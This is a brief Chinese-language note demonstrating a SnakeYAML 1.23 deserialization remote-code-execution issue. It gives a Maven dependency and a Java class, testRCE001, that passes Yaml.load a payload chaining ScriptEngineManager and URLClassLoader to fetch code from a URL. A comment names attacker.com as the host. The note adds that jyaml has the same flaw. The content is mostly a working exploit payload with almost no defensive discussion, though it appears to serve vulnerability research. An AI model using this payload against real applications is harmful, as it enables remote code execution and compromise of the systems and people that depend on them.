Maven的Pom引入依赖包

<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.23</version>
</dependency>

Java代码调试

package com.alibaba.middleware.hsf;
import org.yaml.snakeyaml.Yaml;
/**
 * Created by xiaoming.linxm on 2018/10/24.
 */
public class testRCE001 {
    public static void main(String[] argv){
        String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader "
                + "[[!!java.net.URL [\"http://localhost\"]]]]";
        Yaml yaml = new Yaml();            // Unsafe instance of Yaml that allows any constructor to be called.
        Object obj = yaml.load(malicious); // Make request to http://attacker.com
    }
}

同样问题

• org.jyaml:jyaml有一样的问题，用法同上面。